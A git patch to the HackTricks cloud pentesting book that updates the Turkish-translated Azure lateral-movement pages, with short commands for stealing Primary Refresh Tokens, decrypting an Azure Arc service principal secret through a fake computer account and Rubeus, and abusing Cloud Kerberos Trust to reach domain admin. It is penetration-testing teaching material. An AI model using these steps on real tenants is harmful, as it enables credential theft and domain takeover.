From 60eed690ce1f810f9015fa6fe5c560e6d17e5878 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 04:08:38 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-device-registration. --- src/SUMMARY.md | 23 +- .../azure-security/az-device-registration.md | 22 +- .../README.md | 60 ++--- .../az-arc-vulnerable-gpo-deploy-script.md | 12 +- .../az-cloud-kerberos-trust.md | 26 +- .../az-cloud-sync.md | 38 +-- .../az-connect-sync.md | 24 +- .../az-domain-services.md | 86 ++++++ .../az-federation.md | 26 +- ....md => az-hybrid-identity-misc-attacks.md} | 4 +- .../az-local-cloud-credentials.md | 42 ++- .../az-pass-the-certificate.md | 16 +- .../az-pass-the-cookie.md | 4 +- .../az-primary-refresh-token-prt.md | 142 +++++++--- .../az-processes-memory-access-token.md | 34 --- .../az-pta-pass-through-authentication.md | 12 +- .../README.md | 58 ---- .../pass-the-prt.md | 250 ------------------ .../seamless-sso.md | 16 +- ...-conditional-access-policies-mfa-bypass.md | 32 +-- 20 files changed, 362 insertions(+), 565 deletions(-) rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/{azure-ad-connect-hybrid-identity => }/az-cloud-kerberos-trust.md (55%) rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/{azure-ad-connect-hybrid-identity => }/az-cloud-sync.md (59%) rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/{azure-ad-connect-hybrid-identity => }/az-connect-sync.md (83%) create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/{azure-ad-connect-hybrid-identity => }/az-federation.md (82%) rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/{azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md => az-hybrid-identity-misc-attacks.md} (72%) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/{azure-ad-connect-hybrid-identity => }/az-pta-pass-through-authentication.md (77%) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/{azure-ad-connect-hybrid-identity => }/seamless-sso.md (91%) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 48a80565e..2e6ba8b7c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,22 +442,19 @@ - [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md) - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) + - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 0801a475f..ac4989ae0 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -6,7 +6,7 @@ Bir cihaz AzureAD'ye katıldığında, AzureAD'de yeni bir nesne oluşturulur. -Bir cihaz kaydedilirken, **kullanıcıdan hesabıyla giriş yapması istenir** (gerekirse MFA talep edilir), ardından cihaz kaydı hizmeti için token'lar talep edilir ve son bir onay istemi sorulur. +Bir cihaz kaydedilirken, **kullanıcıdan hesabıyla giriş yapması istenir** (gerekirse MFA talep edilir), ardından cihaz kayıt hizmeti için token'lar talep edilir ve son bir onay istemi sorulur. Sonra, cihazda iki RSA anahtar çifti oluşturulur: **cihaz anahtarı** (**açık** anahtar) **AzureAD**'ye gönderilir ve **taşıma** anahtarı (**özel** anahtar) mümkünse TPM'de saklanır. @@ -14,7 +14,7 @@ Ardından, **nesne** **AzureAD**'de (Intune'da değil) oluşturulur ve AzureAD, ```bash dsregcmd /status ``` -Cihaz kaydından sonra **Primary Refresh Token** LSASS CloudAP modülü tarafından talep edilir ve cihaza verilir. PRT ile birlikte **sadece cihazın şifreleyebileceği şekilde şifrelenmiş oturum anahtarı** da teslim edilir (taşıma anahtarının genel anahtarını kullanarak) ve **PRT'yi kullanmak için gereklidir.** +Cihaz kaydından sonra **Primary Refresh Token** LSASS CloudAP modülü tarafından talep edilir ve cihaza verilir. PRT ile birlikte **sadece cihazın şifreleyebileceği şekilde şifrelenmiş oturum anahtarı** (taşıma anahtarının genel anahtarını kullanarak) da teslim edilir ve **PRT'yi kullanmak için gereklidir.** PRT'nin ne olduğu hakkında daha fazla bilgi için kontrol edin: @@ -24,13 +24,13 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Güvenilir Platform Modülü -**TPM**, kapalı bir cihazdan (PIN ile korunuyorsa) anahtar **çıkarma** ve OS katmanından özel materyali çıkarmaya karşı **korur**.\ -Ancak, **TPM** ile CPU arasındaki fiziksel bağlantıyı **dinlemekten** veya sistem çalışırken **SYSTEM** haklarına sahip bir süreçten TPM'deki kriptografik materyali **kullanmaktan** **korumaz.** +**TPM**, kapalı bir cihazdan anahtar **çıkarma** ve OS katmanından özel materyali çıkarmaya karşı **korur** (eğer PIN ile korunuyorsa).\ +Ancak, **TPM ile CPU arasındaki fiziksel bağlantıyı dinlemekten** veya sistem çalışırken **SYSTEM** haklarına sahip bir süreçten TPM'deki kriptografik materyali **kullanmak** için **koruma sağlamaz.** -Aşağıdaki sayfayı kontrol ederseniz, **PRT'yi çalmanın** **kullanıcı** gibi erişim sağlamak için kullanılabileceğini göreceksiniz, bu harika çünkü **PRT cihazlarda** bulunur, bu nedenle onlardan çalınabilir (veya çalınmazsa yeni imza anahtarları oluşturmak için kötüye kullanılabilir): +Aşağıdaki sayfayı kontrol ederseniz, **PRT'yi çalmanın** kullanıcı gibi erişim sağlamak için kullanılabileceğini göreceksiniz, bu harika çünkü **PRT cihazlarda bulunur**, bu nedenle onlardan çalınabilir (veya çalınmazsa yeni imza anahtarları oluşturmak için kötüye kullanılabilir): {{#ref}} -az-lateral-movement-cloud-on-prem/pass-the-prt.md +az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} ## SSO jetonları ile bir cihaz kaydetme @@ -57,7 +57,7 @@ Hangi, gelecekte PRT'ler talep etmek için kullanabileceğiniz bir **sertifika** ## Bir cihaz biletini geçersiz kılma -**Bir cihaz bileti talep etmek**, cihazın mevcut biletini **geçersiz kılmak** ve akış sırasında **PRT'yi çalmak** mümkündü (bu nedenle TPM'den çalmaya gerek yoktu. Daha fazla bilgi için [**bu konuşmaya bakın**](https://youtu.be/BduCn8cLV1A). +Bir **cihaz bileti** talep etmek, cihazın mevcut olanını **geçersiz kılmak** ve akış sırasında **PRT'yi çalmak** mümkündü (bu nedenle TPM'den çalmaya gerek yok. Daha fazla bilgi için [**bu konuşmaya bakın**](https://youtu.be/BduCn8cLV1A).
@@ -66,13 +66,13 @@ Hangi, gelecekte PRT'ler talep etmek için kullanabileceğiniz bir **sertifika** ## WHFB anahtarını geçersiz kılma -[**Orijinal slaytları buradan kontrol edin**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Orijinal slaytlara buradan bakın**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) Saldırı özeti: - **SSO** aracılığıyla bir **cihazdan** **kayıtlı WHFB** anahtarını **geçersiz kılmak** mümkündür -- Bu, anahtarın **yeni anahtarın oluşturulması sırasında** **sniff edilmesiyle** TPM korumasını **aşar** -- Bu aynı zamanda **kalıcılık** sağlar +- Anahtar, yeni anahtarın **üretimi sırasında** **sniffed** olduğu için TPM korumasını **aşar** +- Bu ayrıca **kalıcılık** sağlar
@@ -86,7 +86,7 @@ ve ardından searchableDeviceKey'in bilgilerini PATCH yapın:
-**Cihaz kodu phishing** kullanarak bir kullanıcıdan erişim token'ı almak ve önceki adımları **kullanarak erişimini çalmak** mümkündür. Daha fazla bilgi için kontrol edin: +**Cihaz kodu phishing** kullanarak bir kullanıcıdan erişim token'ı almak ve önceki adımları kötüye kullanarak **erişimini çalmak** mümkündür. Daha fazla bilgi için kontrol edin: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 4b0aa0b81..9228e8d25 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -1,65 +1,39 @@ # Az - Lateral Movement (Cloud - On-Prem) -## Az - Lateral Movement (Cloud - On-Prem) - {{#include ../../../banners/hacktricks-training.md}} -### Bulut ile bağlantılı On-Prem makineleri +## Temel Bilgiler -Bir makinenin buluta bağlanmasının farklı yolları vardır: +Bu bölüm, ele geçirilmiş bir Entra ID kiracısından yerel Active Directory (AD)'ye veya ele geçirilmiş bir AD'den Entra ID kiracısına geçiş tekniklerini kapsar. -#### Azure AD katıldı +## Geçiş Teknikleri -
+- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Bir saldırgan, bir AD bilgisayar hesabını kontrol edebilir veya oluşturabilir ve Azure Arc GPO dağıtım paylaşımına erişebilirse, saklanan Service Principal gizli anahtarını çözebilir ve bunu ilişkili hizmet prensibi olarak Azure'a kimlik doğrulamak için kullanabilir, bağlı Azure ortamını tamamen ele geçirebilir. -#### Workplace katıldı +- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Cloud Kerberos Trust yapılandırıldığında Entra ID'den AD'ye nasıl geçiş yapılır. Entra ID (Azure AD) içinde bir Global Admin, Cloud Kerberos Trust ve senkronizasyon API'sini kötüye kullanarak yüksek ayrıcalıklı AD hesaplarını taklit edebilir, Kerberos biletlerini veya NTLM hash'lerini elde edebilir ve yerel Active Directory'yi tamamen ele geçirebilir—bu hesaplar asla bulut senkronizasyonu yapılmamış olsa bile—bulut ile AD ayrıcalık yükseltmesi arasında etkili bir köprü kurar. -

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

+- [**Cloud Sync**](az-cloud-sync.md): Buluttan yerel AD'ye ve tam tersine geçiş yapmak için Cloud Sync'i nasıl kötüye kullanılır. -#### Hibrit katıldı +- [**Connect Sync**](az-connect-sync.md): Buluttan yerel AD'ye ve tam tersine geçiş yapmak için Connect Sync'i nasıl kötüye kullanılır. -

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

+- [**Domain Services**](az-domain-services.md): Azure Domain Services Hizmeti nedir ve Entra ID'den oluşturduğu AD'ye nasıl geçiş yapılır. -#### AADJ veya Hibrit üzerinde Workplace katıldı +- [**Federation**](az-federation.md): Buluttan yerel AD'ye ve tam tersine geçiş yapmak için Federation'ı nasıl kötüye kullanılır. -

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

+- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Buluttan yerel AD'ye ve tam tersine geçiş yapmak için kullanılabilecek çeşitli saldırılar. -### Tokenler ve sınırlamalar +- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Bir PC ele geçirildiğinde buluta ait kimlik bilgilerini nerede bulabilirsiniz. -Azure AD'de, belirli sınırlamaları olan farklı türde tokenler vardır: +- [**Pass the Certificate**](az-pass-the-certificate.md): Bir makineden diğerine giriş yapmak için PRT'ye dayalı bir sertifika oluşturun. -- **Erişim tokenleri**: Microsoft Graph gibi API'lere ve kaynaklara erişmek için kullanılır. Belirli bir istemci ve kaynakla ilişkilidir. -- **Yenileme tokenleri**: Yeni erişim tokenleri almak için uygulamalara verilir. Sadece verildiği uygulama veya bir grup uygulama tarafından kullanılabilir. -- **Birincil Yenileme Tokenleri (PRT)**: Azure AD katılı, kayıtlı veya hibrit katılı cihazlarda Tek Oturum Açma için kullanılır. Tarayıcı oturum açma akışlarında ve cihazdaki mobil ve masaüstü uygulamalara giriş yapmak için kullanılabilir. -- **Windows Hello for Business anahtarları (WHFB)**: Şifresiz kimlik doğrulama için kullanılır. Birincil Yenileme Tokenlerini almak için kullanılır. +- [**Pass the Cookie**](az-pass-the-cookie.md): Tarayıcıdan Azure çerezlerini çalın ve bunları giriş yapmak için kullanın. -En ilginç token türü Birincil Yenileme Tokeni (PRT) dir. +- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT nedir, nasıl çalınır ve kullanıcıyı taklit ederek Azure kaynaklarına erişmek için nasıl kullanılır. -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} +- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Buluttan yerel AD'ye ve tam tersine geçiş yapmak için Pass-through Authentication'ı nasıl kötüye kullanılır. -### Pivoting Teknikleri +- [**Seamless SSO**](az-seamless-sso.md): Yerelden buluta geçiş yapmak için Seamless SSO'yu nasıl kötüye kullanılır. -**tehdit altındaki makineden buluta**: - -- [**Cookie'yi Geç**](az-pass-the-cookie.md): Tarayıcıdan Azure çerezlerini çal ve giriş yapmak için kullan -- [**Süreçlerin erişim tokenlerini dök**](az-processes-memory-access-token.md): Bulut ile senkronize edilmiş yerel süreçlerin belleğini dök (örneğin excel, Teams...) ve açık metin olarak erişim tokenlerini bul. -- [**Birincil Yenileme Tokenini Phish'le**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT'yi ele geçirerek kötüye kullan -- [**PRT'yi Geç**](pass-the-prt.md): Azure'a erişmek için cihaz PRT'sini çal. -- [**Sertifikayı Geç**](az-pass-the-certificate.md)**:** Bir makineden diğerine giriş yapmak için PRT'ye dayalı bir sertifika oluştur - -**AD'yi tehlikeye atmaktan bulutu tehlikeye atmaktan ve bulutu tehlikeye atmaktan AD'yi tehlikeye atmaktan**: - -- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Buluttan On-Prem'e geçmenin başka bir yolu** [**Intune'u kötüye kullanmaktır**](../az-services/intune.md) - -#### [Roadtx](https://github.com/dirkjanm/ROADtools) - -Bu araç, Azure AD'de bir makine kaydetmek için PRT almak ve PRT'leri (meşru veya çalıntı) çeşitli yollarla kaynaklara erişmek için kullanmak gibi birkaç işlem gerçekleştirmeyi sağlar. Bunlar doğrudan saldırılar değildir, ancak PRT'leri farklı yollarla kaynaklara erişmek için kullanmayı kolaylaştırır. Daha fazla bilgi için [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) - -## Referanslar - -- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- **Buluttan Yerel'e geçiş yapmanın bir diğer yolu** [**Intune'u kötüye kullanmaktır**](../az-services/intune.md) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 2e4f1076a..57764d46f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,16 +4,16 @@ ### Sorunların Belirlenmesi -Azure Arc, yeni iç sunucuların (katılmış alan sunucuları) Azure Arc ile Grup İlkesi Nesnesi yöntemi kullanılarak entegrasyonuna olanak tanır. Bunu kolaylaştırmak için Microsoft, onboarding prosedürünü başlatmak için gerekli olan bir dağıtım araç seti sağlar. ArcEnableServerGroupPolicy.zip dosyası içinde şu betikler bulunur: DeployGPO.ps1, EnableAzureArc.ps1 ve AzureArcDeployment.psm1. +Azure Arc, yeni iç sunucuların (etki alanına katılmış sunucular) Azure Arc'a Grup Politika Nesnesi yöntemiyle entegrasyonuna olanak tanır. Bunu kolaylaştırmak için Microsoft, onboarding prosedürünü başlatmak için gerekli bir dağıtım araç seti sağlar. ArcEnableServerGroupPolicy.zip dosyası içinde şu betikler bulunur: DeployGPO.ps1, EnableAzureArc.ps1 ve AzureArcDeployment.psm1. DeployGPO.ps1 betiği çalıştırıldığında aşağıdaki işlemleri gerçekleştirir: -1. Yerel alanda Azure Arc Sunucuları Onboarding GPO'sunu oluşturur. +1. Yerel etki alanında Azure Arc Sunucuları Onboarding GPO'sunu oluşturur. 2. EnableAzureArc.ps1 onboarding betiğini, onboarding süreci için oluşturulan belirlenen ağ paylaşımına kopyalar; bu paylaşım ayrıca Windows yükleyici paketini de içerir. -Bu betiği çalıştırırken, sistem yöneticileri iki ana parametre sağlamalıdır: **ServicePrincipalId** ve **ServicePrincipalClientSecret**. Ayrıca, alan, paylaşımı barındıran sunucunun FQDN'si ve paylaşım adı gibi diğer parametreler de gereklidir. Kiracı kimliği, kaynak grubu ve diğer gerekli bilgilerin de betiğe sağlanması gerekir. +Bu betiği çalıştırırken, sistem yöneticileri iki ana parametre sağlamalıdır: **ServicePrincipalId** ve **ServicePrincipalClientSecret**. Ayrıca, etki alanı, paylaşımı barındıran sunucunun FQDN'si ve paylaşım adı gibi diğer parametreler de gereklidir. Kiracı kimliği, kaynak grubu ve diğer gerekli bilgiler gibi daha fazla ayrıntı da betiğe sağlanmalıdır. -Şifrelenmiş bir gizli anahtar, belirtilen paylaşımda AzureArcDeploy dizininde DPAPI-NG şifrelemesi kullanılarak oluşturulur. Şifrelenmiş gizli anahtar, encryptedServicePrincipalSecret adlı bir dosyada saklanır. Bunun kanıtı, DeployGPO.ps1 betiğinde, şifrelemenin $descriptor ve $ServicePrincipalSecret girdileri ile ProtectBase64 çağrılarak gerçekleştirildiği yerde bulunabilir. Tanımlayıcı, Alan Bilgisayarı ve Alan Denetleyicisi grup SID'lerini içerir ve bu, ServicePrincipalSecret'ın yalnızca Alan Denetleyicileri ve Alan Bilgisayarları güvenlik grupları tarafından şifresinin çözülebileceğini garanti eder; bu, betik yorumlarında belirtilmiştir. +Belirtilen paylaşımda AzureArcDeploy dizininde DPAPI-NG şifrelemesi kullanılarak şifrelenmiş bir gizli anahtar oluşturulur. Şifrelenmiş gizli anahtar, encryptedServicePrincipalSecret adlı bir dosyada saklanır. Bunun kanıtı, DeployGPO.ps1 betiğinde, şifrelemenin $descriptor ve $ServicePrincipalSecret girdileri ile ProtectBase64 çağrılarak gerçekleştirildiği yerde bulunabilir. Tanımlayıcı, Domain Computer ve Domain Controller grup SIDs'lerini içerir ve böylece ServicePrincipalSecret'in yalnızca Domain Controllers ve Domain Computers güvenlik grupları tarafından şifresinin çözülebileceği belirtilmiştir. ```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell ```bash .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -Bilgisayar hesabımız için TGT'yi bellekte saklayarak, hizmet ilkesi gizli anahtarını şifre çözmek için aşağıdaki betiği kullanabiliriz. +Bilgisayar hesabımız için TGT'yi bellekte saklayarak, hizmet prensip gizliliğini şifre çözmek için aşağıdaki betiği kullanabiliriz. ```bash Import-Module .\AzureArcDeployment.psm1 @@ -56,7 +56,7 @@ Alternatif olarak, [SecretManagement.DpapiNG](https://github.com/jborean93/Secre Bu noktada, şifrelenmişServicePrincipalSecret dosyasıyla aynı ağ paylaşımında saklanan ArcInfo.json dosyasından Azure'a bağlanmak için gereken kalan bilgileri toplayabiliriz. Bu dosya, TenantId, servicePrincipalClientId, ResourceGroup ve daha fazlası gibi ayrıntıları içerir. Bu bilgilerle, Azure CLI kullanarak ele geçirilmiş hizmet ilkesi olarak kimlik doğrulaması yapabiliriz. -## References +## Referanslar - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md similarity index 55% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md index 61b5d25f5..2ab7d0c8e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md @@ -4,23 +4,23 @@ **Bu gönderi, saldırı hakkında daha fazla bilgi için kontrol edilebilecek** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **adresinin bir özetidir. Bu teknik ayrıca** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** adresinde de yorumlanmıştır.** -## Kerberos Trust İlişkisi Genel Bakış +## Kerberos Trust İlişkisi Genel Görünümü -**Cloud Kerberos Trust (Entra ID -> AD)** -- Bu özellik (Windows Hello for Business'ın bir parçası) on-prem AD'nin **Entra ID'yi** AD için Kerberos biletleri vermesi için tek yönlü bir güven ilişkisi kurar. Bunu etkinleştirmek, AD'de bir **AzureADKerberos$** bilgisayar nesnesi (Salt Okuma Alan Denetleyicisi olarak görünür) ve bağlı bir **`krbtgt_AzureAD`** hesabı (ikincil KRBTGT) oluşturur. Entra ID, bu hesapların anahtarlarını tutar ve AD kullanıcıları için "kısmi" Kerberos TGT'leri verebilir. AD alan denetleyicileri bu biletleri kabul eder, ancak RODC benzeri kısıtlamalarla: varsayılan olarak, **yüksek ayrıcalıklı gruplar (Domain Admins, Enterprise Admins, vb.) *reddedilir*** ve sıradan kullanıcılara izin verilir. Bu, Entra ID'nin normal koşullar altında alan yöneticilerini güven ilişkisi aracılığıyla kimlik doğrulamasını engeller. Ancak, göreceğimiz gibi, yeterli Entra ID ayrıcalıklarına sahip bir saldırgan bu güven tasarımını kötüye kullanabilir. +**Cloud Kerberos Trust (Entra ID -> AD)** -- Bu özellik (Windows Hello for Business'ın bir parçası) tek yönlü bir güven ilişkisi kurar; burada yerel AD **Entra ID'yi** AD için Kerberos biletleri vermesi için güvenmektedir. Bunu etkinleştirmek, AD'de bir **AzureADKerberos$** bilgisayar nesnesi (Salt Okuma Alan Denetleyicisi olarak görünür) ve bağlantılı bir **`krbtgt_AzureAD`** hesabı (ikincil KRBTGT) oluşturur. Entra ID, bu hesapların anahtarlarını tutar ve AD kullanıcıları için "kısmi" Kerberos TGT'leri verebilir. AD alan denetleyicileri bu biletleri kabul eder, ancak RODC benzeri kısıtlamalarla: varsayılan olarak, **yüksek ayrıcalıklı gruplar (Domain Admins, Enterprise Admins, vb.) *reddedilir*** ve sıradan kullanıcılara izin verilir. Bu, Entra ID'nin normal koşullar altında alan yöneticilerini güven ilişkisi aracılığıyla kimlik doğrulamasını engeller. Ancak, göreceğimiz gibi, yeterli Entra ID ayrıcalıklarına sahip bir saldırgan bu güven tasarımını kötüye kullanabilir. -## Entra ID'den On-Prem AD'ye Geçiş +## Entra ID'den Yerel AD'ye Geçiş -**Senaryo:** Hedef organizasyon, parolasız kimlik doğrulama için **Cloud Kerberos Trust** etkinleştirmiştir. Bir saldırgan, Entra ID'de (Azure AD) **Global Administrator** ayrıcalıkları elde etmiştir ancak henüz on-prem AD'yi kontrol etmemektedir. Saldırgan ayrıca, bir Alan Denetleyicisi'ne (VPN veya hibrit ağda bir Azure VM aracılığıyla) ağ erişimi ile bir ayak sağlamıştır. Bulut güvenini kullanarak, saldırgan Azure AD kontrolünü kullanarak AD'de **Domain Admin** seviyesinde bir ayak elde edebilir. +**Senaryo:** Hedef organizasyon, parolasız kimlik doğrulama için **Cloud Kerberos Trust**'ı etkinleştirmiştir. Bir saldırgan, Entra ID (Azure AD) içinde **Global Administrator** ayrıcalıkları elde etmiştir ancak henüz yerel AD'yi kontrol etmemektedir. Saldırgan ayrıca, bir Alan Denetleyicisi'ne (VPN veya hibrit ağda bir Azure VM aracılığıyla) ağ erişimi ile bir ayak sağlamıştır. Bulut güvenini kullanarak, saldırgan Azure AD kontrolünü kullanarak AD'de **Domain Admin** seviyesinde bir ayak elde edebilir. **Ön Koşullar:** - **Cloud Kerberos Trust** hibrit ortamda yapılandırılmıştır (gösterge: AD'de bir `AzureADKerberos$` RODC hesabı vardır). -- Saldırganın Entra ID kiracısında **Global Admin (veya Hybrid Identity Admin)** hakları vardır (bu roller, Azure AD kullanıcılarını değiştirmek için AD Connect **senkronizasyon API'sini** kullanabilir). +- Saldırgan, Entra ID kiracısında **Global Admin (veya Hybrid Identity Admin)** haklarına sahiptir (bu roller, Azure AD kullanıcılarını değiştirmek için AD Connect **senkronizasyon API'sini** kullanabilir). -- Saldırganın kimlik doğrulaması yapabileceği en az bir **hibrit kullanıcı hesabı** (hem AD hem de AAD'de mevcut) vardır. Bu, kimlik bilgilerini bilerek veya sıfırlayarak veya ona bir parolasız yöntem (örneğin, Geçici Erişim Geçidi) atayarak bir Birincil Yenileme Jetonu (PRT) oluşturmak için elde edilebilir. +- Saldırganın kimlik doğrulaması yapabileceği 